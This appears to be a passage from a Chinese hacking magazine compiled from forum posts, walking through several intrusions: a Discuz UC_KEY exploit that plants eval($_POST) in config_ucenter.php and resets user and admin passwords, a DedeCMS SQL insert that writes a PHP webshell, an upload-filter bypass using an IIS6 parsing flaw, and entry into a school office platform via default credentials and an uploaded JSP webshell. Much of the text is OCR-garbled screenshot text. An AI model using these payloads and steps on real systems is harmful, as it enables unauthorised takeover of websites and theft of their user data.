
### 图 1-1-1

即第一个参数是网站的根路径,第二个参数是 uc\_key。

获取的 webshell 是在/config/config\_ucenter.php 中的,如图 1-1-2:

Config_ucenter.php - 记事本
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)
k?php
<pre>define('UC_CONNECT', '');</pre>
<pre>define('UC_DBHOST', 'localhost'); define('UC_DBUSER', 'root'); define('UC_DBPW', '); define('UC_DBCHARSET', 'ultrax'); define('UC_DBCHARSET', 'ultrax', pre_ucenter_'); define('UC_DBCONNECT', 0);</pre>
<pre>define('UC_CHARSET', 'utf-8'); define('UC_KEY', 'B4s07bE2n5nef8e2M2F0a3Y8k7G6IeEb70G2Kf1cD0Vf00b1D8pcu6p773E487D9'); define('UC_APII', 'http://aaa');eval(\$_POST[1]);//'); define('UC_APID', '1'); define('UC_IP', '115.28.12.135'); define('UC_PPP', 20);</pre>
Security Team

### 图 1-1-2

ps:代码仓促编写,有什么问题请指出。本来打算通过 py2exe 来将其生成为 exe,担心大家 怕有后门不敢用,各位大牛就自己生成一下吧。经过测试在 discuz x2.5、x3、x3.1 下都测试 成功。

ps:uc\_key 可以在 discuz 后台中看,或者是通过泄露的配置文件中获取。

访问 discuz 目录下的 admin.php 登陆后台, 在 "站长" -> "UCenter 设置" 中来查看 uc\_key。 如图 1-1-3:

🗲 🔶 🕕 🎯 loo	calhost:8080/dz2.5/upload/admin.php?	○ ☆ ■ ▼ C     [     ★ - 百度 < Ctrl+K > P     ]     ③ ▼ ■ ▼
Discuz! Control Panel	首页 全局 界面 内容 用户 门户 论坛 群组 站长 » UCenter 设置 [+]	<mark>您目前使用的 Discuz! 程序有新版本发布,请及时升级 在线升级</mark> 运营 应用 工具 云平台 <mark>站长</mark> UCenter
<ul> <li>○ 后台管理团队</li> <li>○ 邮件设置</li> <li>○ 安全中心</li> </ul>	UCenter 设置	
<ul> <li>UCenter 设置</li> <li>数据库</li> <li>数据库</li> </ul>	• 本设置在站点安装时自动生成,一般情况下请不要做	含改,修改前请备份 config/config_ucenter.php 文件,以防止修改错ì
<ul> <li>用户表优化</li> <li>帖子分表</li> <li>主题分表</li> </ul>	1	该值为当前站点在 UCenter 的应用 ID,一般情况请不要改动
○ 在线升级	UCenter 直信密钥: IB7Y9E9u61d81m2seJ8E5CaGbT5xf4cY8	通信密钥用于在 UCenter 和 Discuz! 之间传输信息的加密,可包括 以确保两套系统能够正常通信
	UCenter 访问地址: http://localhost:8080/dz2.5/upload/uc_	如果您的 UCenter 访问地址发生了改变,请修改此项。不正确的设 格式:http://www.sitename.com/uc_server (最后不要加'/')
	UCenter IP 地址: 127.0.0.1	如果您的服务器无法通过域名访问 UCenter,可以输入 UCenter,
Powered by Discuz! X2.5	UCenter <b>连接方式:</b> ④ 数据库方式	采用接口方式时,站点和 Ucer La Security: Treams

图 1-1-3

参考资料:

1、http://pan.baidu.com/s/1bn5qcTT

2、http://pan.baidu.com/s/1c0gl5o0

# 二、使用 UC\_KEY 可重置论坛(除 uid 为 1 的)任意用户的密码

通过获取到的 UC\_KEY,即可重置论坛任意用户的密码,并清除安全提问。注意本重置任意 用户密码的方法并不适用于 uid 为 1 的用户(即管理员),因为会将本地的管理员用户覆盖, 从而登陆不进去本地搭建的 dz 后台(重置管理员 uid 为 1 的方法后面讲)。

目标站点: http://192.168.32.101/dz/。管理员 jinglingshu,建了两个用户 test1 和 test2。uc\_key 为 B4s07bE2n5nef8e2M2F0a3Y8k7G6leEb70G2Kf1cD0VfO0b1D8pcu6p773E487D9

# 目标: 重置 test1 的用户口令, 如图 1-1-4:

*	÷ 📶	3 192.168.32.10	01/dz/home.php?	mod=space&uid=	2	) 😭 🔲 🔻	C 🖹 - 百度	₹ <ctrl+k></ctrl+k>	P 🔮 🔻	🖬 👻 6	• •	<b>5</b>   • 1⊒   •	** -	🗐 🝷 寒
设为前	前页 收藏本刻	沾			$\langle \rangle$									
Ç	社区社	动力										L test2	设置 消息	1. 提醒 退出 1.等手 H& マ
i论:	5CU	2 !											1 707 %	快捷
请	输入搜索内容				帖子 ▼	Q 热き	<b>點</b> 活动 交友 (	discuz				/		
<b>^</b>	test1 $\rightarrow$ $\uparrow$ ,	人资料												
6	tes http	t <b>1</b> + ://192.168.32.101/	dz/?2											🥸 : 🖬 :
	主	题 个人资料												
te 邮 统	<b>st1</b> (UID: 2) 箱状态 未验 计信息 好友;	☆证 数 0   回帖数 0	主题数 0	视频认证 未认证								F	4CK curity	Team
							_							

图 1-1-4

可以看到 test1 用户的 uid 为 2, 重置密码的过程如下:

1、本地搭建 dz。在"站长"->"UCenter 设置"中修改 UCenter 设置,然后保存。一定要选择接口方式,且是否允许其他应用的会员在站点激活、是否允许直接激活两项配置开启。 如图 1-1-5:

Control Donal		
Control Panel	站长 » UCenter 设置[+]	
○ 后台管理团队 ○ 邮件设置	1 II Contor 通信实知:	该值为当前站点在 UCenter 的应用 ID,一般情况
○ 安全中心	Ocenter 画情密钥.	
<sup>0</sup> UCenter 设置	s7Hc9f766bdb16y7W55ep2B0XeUbW8F	通信密钥用于在 UCenter 和 Discuz! 之间传输信
⊃ 数据库		以朔床州 <u>基</u> 汞规能则正常通信
⊃ 用户表优化	UCenter 访问地址:	
○ 帖子分表	http://192.168.32.101/dz/uc_server	如果您的 UCenter 访问地址发生了改变,请修改
○ 主题分表		格式: http://www.sitename.com/uc_server
⊃ 在线升级	UCenter IP 地址:	
○ 优化大师	ocenter v. 1911.	
	192.168.32.101	如果您的服务器无法通过域名访问 UCenter,可!
	UCenter 连接方式:	
	◎ 数据库方式	采用接口方式时,站点和 Ucenter 通信采用远程;
	● 接口方式	er 数据库
	是否允许其他应用的会员在站点激活:	
	◎ 是 ◎ 否	选择"是",允许会员在本站点激活;选择"否",则
	是否允许直接激活:	
wered by Discuz! X3	◎ 是 👈 否	选择"是",用些SPEUKILY选择 Pamit

图 1-1-5

2、点击"工具"->"更新缓存"来更新缓存。然后在"用户"->"添加用户"中添加要重置的用户,如图 1-1-6, 1-1-7, 1-1-8:



/~ ~ AKUMPB/~ (*)	
Discuz! 提示	
	用户名已经存在,但尚未激活,是否需要激活? 激活的用户可用以前的用户密码登录 磺定 取消
	图 1-1-7
	用户 test1 01 2 洋区内 ①

图 1-1-8

ps:系统提示用户已经存在,是否在本地激活,选择是。

3、查看本地添加的用户信息,并修改密码和清除安全提问,如图 1-1-9:

Control Danal	
Control Panel	用户》编辑用户 [+]
○ 用户管理	编辑用户 - test1 用户信息
○ 添加用户	
○ 用户栏目	
○ 资料统计	□ 刪除头像
○ 发 <u>送通</u> 知	统计信息:
⊃ 发送手机通知	
○ 用户标签	<u>  友帖教(0) 记录(0) 日志(0) 相冊(0)</u> <u>分享(0)</u> 在线时间: 0小时
○ 禁止用户	新麥码:
○ 禁止 IP	
○ 积分奖惩	<b>123456</b> 如果不更改密码此处请留:
○ 审核新用户	清除用户安全提问: 📦
○ 管理组	● 是 ◎ 否 选择"是"将清除用户安全:
○ 用户组	
○ 推荐关注	锁定当前用户:
○ 推荐好友	◎ 是 ◎ 否
○ 资料审核	Email
○ 认证设置	
	23@qq.com
wered by Discuz! X3	
2001-2013. Comsenz Inc.	◎ 분 ◎ 좀
	图 1-1-9

4、现在 test1 的用户的密码被修改为 123456,并清除了安全提问。使用 test1 和 123456 登

# 陆远程站点,如图 1-1-10:

🕙 192.168.32.101/dz/forum.php	•	습 🛯 🔻	° C' 👔	• 百度 <(	Ctrl+K>	٩	•   🕹	-	<b>e</b>	•	•	<b>t</b>  -	÷	-	<b>i</b>	ë	无代理▼
站																	X 🔒
动力 <b>乙!</b>												<b>』 test1</b> 积分: 2	设置 	消息 用户约	!  提醒 1: 新手_	週出 L路 マ	7
										/						快捷导	航▼
容 	帖子 🔻	<b>へ</b> 热	<b>搜:</b> 活动	) 交友 discu	JZ												
]: 0   帖子: 0   会员: 1   欢迎新会员: <b>jinglingshu</b>													1	C Se	4C cur	ity '	Ream Team

图 1-1-10

### 参考资料:

http://pan.baidu.com/s/1i3BPywl

### 三、使用 UC\_KEY 重置 uid 为1的用户的密码

上面的方法不适用于 uid 为1的用户, uid 为1的用户的密码重置方法如下。

和上面一样,目标站点信息: http://192.168.32.101/dz/。管理员 jinglingshu,建了两个用户 test1 和 test2。uc key 为

B4s07bE2n5nef8e2M2F0a3Y8k7G6leEb70G2Kf1cD0VfO0b1D8pcu6p773E487D9。过程如下: 1、本地搭建 dz。注意,安装过程中填写的管理员信息时要填写与目标站点一样的用户名, 而不是默认的 admin,密码则任意,如图 1-1-11:

localhost:8080/dz/install/i	index.php?step=3&install_ucent 🕤 🏠	📱 マ C 🔀 <del>▼</del> 百度 < Ctrl+K> .	곋 🎯 🖛 🖬 🖛 🖻
	3		Ē
	检查安装环境	设置运行环境	创建数据库
	Ŭ		
	填写数据库信息		
	数据库服务器:	localhost	数据库服务器地址,一般为
	数据库名:	ultrax	
	数据库用户名:	root	
	数据库密码:		
	数据表前缀:	pre_	同一数据库运行多个论坛时
	系统信箱 Email:	admin@admin.com	用于发送程序错误报告
	埴写管理员信息		
	管理员账号:	jinglingshu	
	管理员密码:	•••••	管理员密码不能为空
	重复密码:	•••••	
	管理员 Email:	admin@admin.com	<b>1 4CK</b> 🕼
		下-步 <b>7</b> 5	ecurity Team

### 图 1-1-11

2、和上面方法一样修改 ucenter 设置。在"站长"->"UCenter 设置"中修改 UCenter 设置, 然后保存。一定要选择接口方式,且是否允许其他应用的会员在站点激活、是否允许直接激 活两项配置开启。点击"工具"->"更新缓存"来更新缓存,如图 1-1-12:

Control Panel		
	站长 » UCenter 设置[+]	
○ 后台管理团队	1	该值为当前站点在 UCenter 的应用 ID,一般情》
○ 町14设五 ○ 安全中心	UCenter 通信密钥:	
<sup>&gt;</sup> UCenter 设置	s7Hc9f766bdb16y7W55ep2B0XeUbW8	通信密钥用于在 UCenter 和 Discuz! 之间传输作 以确保两套系统能够正常通信
⊃ 数据库 ○ 用户表优化	UCenter 访问地址:	
○ 帖子分表 ○ 主题分表	http://192.168.32.101/dz/uc_server	如果您的 UCenter 访问地址发生了改变,请修改
○ 在线升级	UCenter IP 地址:	HELL, HELP.// WWW.Sicename.com/ud_server
⊃ 优化大师	192.168.32.101	如果您的服务器无法通过域名访问 UCenter,可!
	UCenter 连接方式:	
	<ul> <li>◎ 数据库方式</li> <li>④ 接口方式</li> </ul>	采用接口方式时,站点和 Ucenter 通信采用远程; er 数据库
	是否允许其他应用的会员在站点激活:	
	◎ 是 ◎ 否	选择"是",允许会员在本站点激活;选择"否",则
	是否允许直接激活:	
wered by Discuz! X3 2001-2013 Comsent Inc	◎ 是 👈 否	选择"是",更是SPEUK WATERMA

图 1-1-12

3、修改本地 dz 管理员密码并清除用户安全提问,如图 1-1-13:

○ 用户管理	编辑用户 - jinglingshu 用户信息	1
○ 添加用户	7.7	
○ 用户栏目		
○ 资料统计	>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>	
○ 发送通知	统计信息:	
○ 发送手机通知	(1111) (	5(0)
○ 用户标签	在线时间: 0小时	RIO!
○ 禁止用户	新密码:	
○ 禁止 IP		-
○ 积分奖惩	111111	如果不更改密码此处请留空
○ 审核新用户	清餘用户安全提问:	
<ul> <li>管理组</li> </ul>	◎ 是 ◎ 否	试择"是"将唐馀用户安全提问,该用户将7
○ 用户组		
○ 推荐关注	锁定当前用户:	
○ 推荐好友	◎ 是 ◎ 否	
○ 資料审核	Forally	
○ 认证设置	Email:	
	admin@admin.com	
	邮箱激活状态:	C 4CK Q?
) 2001-2013, Comsenz Inc.	◎是 ◎ 否	Security Team

图 1-1-13
4、上述操作后,目标站点管理员的口令就会被修改,且清除了用户安全提问。现在用此重置后的密码登陆目标站点后台即可。 如图 1-1-14, 1-1-15:

192.168.32.101/dz/admin	.php 😡 ☆ 🗋 マ C 📓 - 百度 < Ctrl+K> 🔎 🍪 - 🖬 - 🔹 - 🎓
	Discuz:管理中心 Discuz:是 Limit 位下 Comsenz 公司推出的以社区为基 础的专业建站平台,帮助网站实现—站式服务。 用户名: jinglingshu 密 码: ・・・・・・ 提 问: 元安全提问 回 答:
	图 1-1-14
🗲 🔶 📶 🎯	192.168.32.101/dz/admin.php?
Discuz!	8目前使用的 Discuz! 程序有新版本发布,请及时并 首页 全局 界面 内容 用户 门户 论坛 群组 运营 应用 工具 云平台 站长 UCente
	首页 [+]
○ 管理中心首页 ○ 常用操作管理	Discuz! Board 管理中心
	安全提示
	<ul> <li>推荐您开通云平台, 开通后, 当站点程序出现严重安全漏洞需要立即进行修补的时候, 我们会通过QQ及 点击"云平台-&gt;开通Discuz!云平台"开诵此功能</li> <li>填写您的邮件地址, 订阅 Discuz! 官方产品动态、安全提醒、官方新闻</li> <li>订阅</li> </ul>

图 1-1-15

ps:上述过程只是总结,是怕自己忘记记录的。没技术含量,大牛勿喷。 (全文完)责任编辑: 鲨影 sharow

# 第9节 Dede 后台没有文件管理器时拿 shell 方法

作者:小小糖 来自:法客论坛 — F4ckTeam 网址: http://team.f4ck.org/ 今天搞一个 dede 遇到站长把文件管理器给删掉了,无法上传 php 文件,那只能用下其他的 办法来解决了。这个方法不记得是在哪个网站看过的思路,自己实践了下。后台——SQL 命 令运器——执行命令:

INSERT INTO `dede\_myad` (`aid`, `clsid`, `typeid`, `tagname`, `adname`, `timeset`, `starttime`, `endtime`, `normbody`, `expbody`) VALUES (2000, 0, 0, 'indexTopBanner1', '首页顶部导航大图-960\*60', 0, 1297933028, 1300525028, '<?php file\_put\_contents("f4ck.php",''<?php eval(\$\_POST[nimeimei]);?>''); ?>', ''),

如图 1-4-1:

÷	9	<b>6</b> 5	Θ	*	☆	http://	-	-						3	* *	📓 • 百度		1
	C	MS	(50) v5.7															
藏菜	e E	8 功能地	8											功能	搜索		捜索の	官方诉
*	系统	设置		1		o 4 order - < Yes 13 per -		m33 addamman(0)								NU BLICL   323.9	MATER I	<u>72 MJH</u>
● 系 ● 系 ● 用	绕基 统用 户组	本参数 户管理 设定	_			系统的表信息	•	sy33_admin(1) sy33_admin(1) sy33_admintype(3) sy33_advancedsearch(0) sy33_arcatt(8) sy33_arccache(0)		- - -	优化选中表 修复选中表 查看表结构	5 (d 5 (d 9	化全部表 復全部表					
<ul> <li>■ 服</li> <li>■ 系</li> <li>■ 影</li> <li>■ 医</li> </ul>	务器 统日 证安	分布/远 志管理 全设置 印设署	王															
- L - E - 約 - 砂	定义件频采集	文档属性 道设置 串混淆		Е		返回信息:												
□ 随 □ 计 □ 数	机模 划任 据库	板设置 务管理 备份/还	亰															
o S(	L命令 供校	☆行工具 蛤[S]				运行SQL命令行:	◎ 单行	「命令(支持简单查询) 🏾 🔘	多行命令									
□ 疖 □ 弃	毒扫 统错	描[S] 误修复[S	3]			INSERT INTO 'ded (2000, 0, 0, 'ind '');	e_myad' ( lexTopBan	'aid', 'clsid', 'typeid', ner1', '首页顶部导航大图-96	'tagname', 'adname' 50*60', O, 12979330	, 'timeset' 128, 1300525	, 'starttime' 028, ′ php f</td <td>, 'endtim File_put_o</td> <td>ne', 'normb contents(''</td> <td>ody', 'expbo 64ck.php'',''</td> <td>dy') (ALUES '(?pap sval</td> <td>(\$_POST(08)) ;</td> <td>y Te</td> <td>am</td>	, 'endtim File_put_o	ne', 'normb contents(''	ody', 'expbo 64ck.php'',''	dy') (ALUES '(?pap sval	(\$_POST(08)) ;	y Te	am
	古代	TI				1												

图 1-4-1

然后访问: http://site/plus/ad\_js.php?aid=2000 (id 可以自己更换),文件生成在: /plus/f4ck.php,一句话可以自行替换成过狗的,dedecms 最新版本依然可以这样喔! (全文完)责任编辑: 鲨影\_sharow

## 第10节 看程序员怎么玩渗透

作者: phithon

来自:法客论坛 — F4ckTeam

网址: http://team.f4ck.org/

哈哈,欢迎大家观看程序员日站。平时基本不做这个,所以遇到各种问题,还请帮助我解决问题。闲来无事,看到了一个自助建站的网站,感觉 10 年前很火的(我记得我小时候还上过这个网站),但现在看已经是基本报废状态了。旁站都是在这个网站使用其建站服务的,所以基本都用的一套系统,所以就从主站入手。

#### 0x01

WVS 扫一下前台,基本毫无收获,如图 1-2-1:



查一下域名的 whois, 但是在 ename.com 上注册的, 完全查不到信息。找到的联系邮箱是一个相当于卖域名的人的邮箱, 绑定了几万个域名……nmap 扫一下端口发现是 IIS6.0, 21、 80、1433、3389 都开着。暴力扫一下目录得到了一些东西, 如图 1-2-2:



图 1-2-2

web.rar 肯定是整站的备份,/guanli 当然是后台地址了。于是我当时想,因为是一个 asp 网站,所以数据库一般就在备份里。但是一看 web.rar 的大小……1.5G,我小水管下的太慢, 怎办?百度网盘离线下载,如图 1-2-3:

离线下载任务列表			×
+ 新建BT任务 + 新建者	普通任务		
文件名	大小	状态	操作
web.rar	1.51G	下载成功	打开 清踪
users.tar.gz	3.78G	下载成功	打开 清途

图 1-2-3

下载完成后再直接在百度网盘里解压,如图 1-2-4:

r.

•	admintjwz.rar	21KB
	admin_tjwz	8
	conn.asp	985B
	index.asp	254KB
压绗	宿包内小于200M的文件,可以直接转存或下载哦	<sup>知道了</sup> 「日本」 Security Tean

图 1-2-4

我们就可以任意下载 web.rar 中的东西了。

#### 0x02

于是我兴致勃勃地开始在其中找寻大小像一个 access 数据库的文件,可惜没找到,基本都 是几十 KB 的。当时候我就在想,是不是备份的时候特地把数据库去掉了。我大致了解了一 下这个网站的目录结构,发现后台居然有两个(长的一样),不过两个后台都不存在万能密 码或者弱口令。作为一个程序员,接下来我就喜欢读读它的源码。这种老网站漏洞很多,于 是读了第一个文件我才发现……原来数据库是 sqlserver……在配置文件中找到密码,不是 sa 只是一个 dbo,但连接上就读到管理员账号密码了,如图 1-2-5:



图 1-2-5

还包括所有自助建站的网站的数据库,都可以查看。一下拿到好多裤子,如图 1-2-6:





顺利解开管理员密码后登陆后台。

### 0x03

因为是 sqlserver 数据库所以不能差异备份。编辑器是自己做的,配置文件我没试。 上传的位置有几个,但问题是上传是服务端白名单验证,上传以后文件重命名了,路径也不 能控制。

我再一次产生好奇,下载了上传验证的文件的源码。作为一个程序员,读代码的时候到了:

<%
'set upload=new upload_file
filepath="uploadpic/" '上传路径
set upload=new clsUp     "建立上传对象
upload.NoAllowExt="asp;asa;cer;aspx;cs;vb;js;" '设置上传类型的黑名单
upload.GetData (3072000)
if upload.form("act")="uploadfile" then
'filepath="uploadpic/"
filelx=trim(upload.form("filelx"))
if cint(filelx)>3 then filelx="1"
i=0
for each formName in upload.File
set file=upload.File(formName)
fileExt=lcase(file.FileExt)    '得到的文件扩展名不含有.
if file.filesize<10 then
response.write " <span <i="" font-family:="" style="">宋体; font-size: 9pt""&gt;请先选择你要上</span>
传的文件!  [ <a href="#" onclick="history.go(-1)">重新上传</a> ]"
response.end
end if
if filelx="1" then
if fileext<>"gif" and fileext<>"jpg" then
response.write " <span 9pt""="" font-family:="" font-size:="" style="" 宋体;="">只能上</span>
传 jpg 或 gif 格式的图片! [ <a href="#" onclick="history.go(-1)">重新上传</a> ]"
response.end
end if
if file.filesize>(300*1024) then
response.write " <span 9pt""="" font-family:="" font-size:="" style="" 宋体;="">最大只</span>
能上传 300K 的图片文件! [ <a href="#" onclick="history.go(-1)">重新上传</a> ]"
response.end
end if
end if
if filelx="2" then
if fileext<>"gif" and fileext<>"jpg" and fileext<>"swf" then
response.write " <span 9pt""="" font-family:="" font-size:="" style="" 宋体;="">只能上</span>
传 jpg、gif 格式的图片或 swf 格式的 Flash 文件! [ <a href="#" onclick="history.go(-1)">重新上传</a> ]"
response.end

end if
if file.filesize>(300*1024) and fileext<>"swf" then
response.write " <span <i="" font-family:="" style="">宋体; font-size: 9pt""&gt;最大只</span>
能上传 300K 的图片文件! [ <a href="#" onclick="history.go(-1)">重新上传</a> ]"
response.end
end if
if file.filesize>(3000*1024) and fileext="swf" then
response.write " <span <i="" font-family:="" style="">宋体; font-size: 9pt""&gt;最大只</span>
能上传 3M 的Flash 文件! [ <a href="#" onclick="history.go(-1)">重新上传</a> ]"
response.end
end if
end if
if filelx="3" then
if fileext<>"htm" then
response.write " <span 9pt""="" font-family:="" font-size:="" style="" 宋体;="">只能上</span>
传 htm 格式的网页文件! [ <a href="#" onclick="history.go(-1)">重新上传</a> ]"
response.end
end if
if file.filesize>(300*1024) then
response.write " <span <i="" font-family:="" style="">宋体; font-size: 9pt""&gt;最大只</span>
能上传 300K 的网页文件! [ <a href="#" onclick="history.go(-1)">重新上传</a> ]"
response.end
end if
end if
dtNow=Now()
randomize
ranNum=int(90000*rnd)+10000
'filename1=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
filename1=year(dtNow) & right("0" & month(dtNow),2) & right("0" & day(dtNow),2) &
right("0" & hour(dtNow),2) & right("0" & minute(dtNow),2) & right("0" & second(dtNow),2) & ranNum
&"."&fileExt
filename=filepath&filename1
if file.FileSize>0 then    "如果 FileSize > 0 说明有文件数据
'file.SaveAs Server.mappath(filename)  "保存文件
upload.SaveToFile formName,Server.mappath(FileName)
if trim(upload.form("FormName"))="" then
%>

其中有一个参数 filelx, 文件类型。

当 filelx=1 的时候, 只允许 gif 和 jpg, 当 filelx=2, 允许 gif、jpg、swf, 当 filelx=3, 只允许 htm。 然后就完了, 完了, 没有 else!! 于是改包把 filelx 改成 0, 根本不进入 if 语句,也就谈不上白名单验证了. 如图 1-2-7:



```
兴高采烈地发现上传成功了,如图 1-2-8:
```

</style><script>window.opener.document.system.logo.value='uploadpic/2014020500515336347.asp'</script> <script language="javascript"> window.alert("ODODODODODODODODO"); window.close(); </script>

图 1-2-8

#### 0x04

结果打开发现 404 错误……

D. ( Complete Strategy )

我试了一些别的,比如 txt,同样在白名单外,但是却不是 404。我当时就想,是不是这个目录禁止执行了,但又读了读代码才发现,在白名单外还有个黑名单验证。黑名单限制了 asp/aspx/asa/cer,我当时也想不到别的可执行文件,但因为服务器是 IIS6.0,可以利用解析漏洞,但文件被重命名了,怎么利用解析漏洞呢?文件虽然重命名了,但后缀没有重命名!因为我绕过了白名单验证,所以后缀名可以任意。如果用 f4ck.asp;.gif,会被重命名成 xxxx.gif, 但如果用 f4ck.asp;gif,就重命名成 xxxx.asp;gif,如图 1-2-9:

图 1-2-9

因为它是取文件名的倒数第一个"点"后面的内容作为后缀。成功连接,如图 1-2-10:

	FileName
	Signal 100_0117.JPG
⊡	😿 137.gif 😿 155.gif
E:	acceleration 200310111347796913.swf 2003101410474273966.gif
	2003101410504797941.gif
图	1-2-10

#### 0x05

提权问题比较大,水平太丑……没有解决……大马上看服务器 IP 是内网,但 3389 可以连接上(转发了?)。只支持 asp,不支持 aspx 和 php 和 jsp,似乎不是虚拟主机,不能执行命令。wscript.shell 组件没有, shell.application 组件没有,有个 shell.application.1 组件但用了没效果……没有装 serv-u,ftp 服务器是 Gene6 ftpd 3.10.0 build 2。1433 是 Microsoft SQL Server 2000 8.00.2039.00; SP4。因为不能执行命令,所以没办法继续了。有大牛能指导。

(全文完)责任编辑: 鲨影\_sharow

### 第11节 对悠悠校园办公管理平台的一次渗透

作者:甜甜圈

来自:法客论坛 - F4ckTeam

网址: http://team.f4ck.org

今天朋友发来一个学校网站,希望能够检测一下。照例打开看看 http://xxxx.szlg.edu.cn/,菜 鸟的手法,大家看看就好了…同时用御剑扫扫目录,发现网站是 jsp 的,还有其他目录,这 么多目录干脆所有目录都扫一遍,看看有什么信息,如图 4-2-1:

14 14	/s.i.ebj.i.ycax. szl, 译 学 <b>/</b>	e. edu. cn/schoo]	lsweb/zhyc	hts Reserved. <mark>!网菇管理!</mark> 301
首页	学校概况	学校动态	借育厂	TACK M?
- 525	Ē	图 4-2-1		图 4-2-3

扫完之后御剑一片空白,如图 4-2-2:

描信息:扫描完成		扫描线程:0	扫描速度:0/
ID	地址		HTTP响应

图 4-2-2

什么都没有发现。有点郁闷..转到网站主页来看看有什么可以利用的地方,如图 4-2-3。 拉到最下面,居然看到后台 system/login.jsp,果断打开看看,如图 4-2-4:

×	88校 YOUYOU XIAOYU	动办公管理半台 AN MANAGEMEN SYSTEN	
	用户名:		
The second se	验证码:	0259	
	24	录 1. 家户端下载	

第 77 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日 电子杂志: 免费

图 4-2-4

试了常用的默认密码, admin 登录失败。看到客户端下载。我想下载下来看看源码也不错, 不得不吐槽一下, 如图 4-2-5:



#### 图 4-2-5

下载速度給限制到了 50KB,70M 下载了半个小时,我都快忘记了这个网站了,到百度查查 这个网站系统除了登录查找不到其他网站系统信息,如图 4-2-6:

 医に、

 <th</th>

图 4-2-6

转过头看看下载完成的,如图 4-2-7:

🖻 悠悠校园客户端安装		
文件(王) 编辑(王) 查看	(Y) 收藏(A) 工具(T) 帮助(H)	
🕞 后退 🔹 🕥 🕛 [	▶ 🔎 搜索 🌔 文件夹 🛄 •	
地址 @) 🛅 C: \Documents	and Settings\Administrator\桌面\客户端(1)\悠悠校园客户的	端安装包 💉 🄁 转到
文件和文件夹任务	<ul> <li>客戶端安裝及使用说 明. doc</li> <li>明. doc</li> <li>新icrosoft Word 文档</li> </ul>	<b>园办公平台</b> 13. exe 园办公平台
其它位置	*	
🛅 客户端(1)		
	图 427	



需要安装,果断不安装…

The step in address star 25 40 HI 315 HI address

看下使用说明有没有什么利用的东西,例如默认登录密码,如图 4-2-8:

· 文件(E) 编辑(E	3) 视图(2) 插入(2) 格式(2) 工具(2) 表格(a) 窗口(2) 帮助(2)	键入需要帮助的问题 🔍 🗙
		i= 🗰 💷   唑 - 🛆 - 👳 🛞 🛛
	2 4 6 0 10 12 14 16 19 20 22 24 26 20 00 22 04 08 09 40 42 44 <i>しいい</i> 21 1 多端体技术力友有限公司     徐一然哉: 400-070-10:	465 48 50 ×
<mark></mark>	悠悠校园办公平台客户端安装说明。	
111		
9 - 18	2、实现电脑开机后自己登陆办公平台的功能,。 3、实现在未打开办公平台时,提示有"未读通知"和新"协同办公"的功能。。	
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~	A
121 1	悠悠校园办公管理平台 VOLVOU XIADVUAR MANAGEMEN SYSTEM	
- <del>2</del> н	¥	
-	用户名: admin2000	
-	卷 册:	
12	验证明: 9230 9230	
12	Login Useration	
2 	2 可在北小亚公士市 下總定白機	L'ARK WAR
1 30	1 节 1/9   位置 3厘米 1 行 1 刘   录和  徐订  扩展  改写 中芝(中国)  团	Security, Team

图 4-2-8

运气不错,看到帐号: admin2000,算了一下密码的字符同样是 9 个。 确定默认帐号密码就是 admin2000 admin2000。

随便百度打开个登录试一下,如图 4-2-9:

电上好, admin-yyxy 🔋 🛛 在线	悠共有: 📄 0 条未读通知	🚾 0 条待办事项	☎0条协同办公信息	
今日 组织 导航	今日亊务			
今日亊务	前一天 「后一天  今	天 2013-09-17		
今日事务 今日班级	前→天 后→天 今 <b>未读通知</b>	天 2013-09-17		

图 4-2-9

居然进去了,爽歪歪,不过不是目标站。既然登录进来,顺便拿下 shell。 应该没有过滤上传,随便找个上传的地方。 头像这个地方,如图 4-2-10:

5型:	教职工 岁				नव्यः
:名:	admin-yyxy	性别:男	/8 triath	- 101 .04	0.00
	□ 校长 □ 副校长	☑主任 □副主任 □班主任	保仔租斤	1111 19年	
'椦:	磁磁速译 ~	✓ 任课教师			
	捕导员				

图 4-2-10

传 jsp 一句话,如图 4-2-11:



右键属性得到地址, 嘿嘿, 如图 4-2-12:

	20130917091246707755.jsp	⊘ • 🌺 📓 0. do?msg=%E6%93%
协议:	超文本传送协议	- 2山新区坪山中心小
类型:	不可用	
地址: (URL)	http://du.cn:8080/fckuploadfile/we bConotent/user-phone/20130917091246707755.jsp	条待办事项 🎤
大小:	不可用	_
尺寸:	131 x 159 pixels	

图 4-2-12

菜刀连接,如图 **4-2-13**:



图 4-2-13

没问题,马上转回目标站点,心想应该能简单拿下,来到我们的站点。 http://xxx.szlg.edu.cn/system/login.jsp,如图 4-2-14:

	悠悠校[ YOUYOU XIAOY	园 カク UAN MAI	公管理平台 NAGEMEN SYSTEN
T	用户名:		
No I	密 码:		0250
	30 HL PS .	·录	<ul> <li>◆客户端下载</li> </ul>

图 4-2-14

admin2000 登录,如图 4-2-15:



图 4-2-15

看来管理员改了密码了,组合了几个密码登录不了,网站是 jsp 我也不会注入 →\_→,想想 有什么其他好办法 …,想到刚才不是拿了一个嘛,来看看源码有什么可以利用的地方,JSP 大部分都是 system 权限 无压力克隆了一个帐号,如图 4-2-16:

🤏 – <del>paa</del>	ere calg. e	edu. cn - 远程桌面			
我的电脑	<b>ool</b> family	「「「」 悠悠校園办 公平台			<u>^</u>
<b>《</b> 》 网上邻居		WampServer	<ul> <li>★webapp2</li> <li>文件 (E) 编辑 (E) 查看 (V) 收;</li> <li>○ 后退 ◆ ○ ◆ ⑦ ● 搜索 (E)</li> <li>地址 (D) ● F: \pceoms\webapp2</li> </ul>	흃(a) 工具(1) 帮助(d) > 文件夹 │ <mark>⊞</mark> →	
回收站	<b>烫</b> 360杀毒	客户端, rar	<b>文件和文件夹任务</b>	名称	<u>大小</u> す す す
AFMS答卷図 像目录	<b>月</b> 动办公平 台	<b>)</b> 备份文件	<ul> <li>2 想制这个文件夹</li> <li>① 复制这个文件夹</li> <li>● 和这个文件夹发布到 Web</li> <li>○ 共享此文件夹</li> </ul>	⊘] campus ⊘] ckeditor ⊘] class ⊘] clazz ⊘] clazzSum	ב ב נ
AFMS分析报 表目录	<b>沙</b> 廣讯TT		<ul> <li>○ 以电子邮件形式发送该 文件夹内的文件</li> <li>★ 删除这个文件夹</li> </ul>	© common ⊘ css ⊘ download ⊘ exam ⊘ excelTemplate	רי רי רי רי
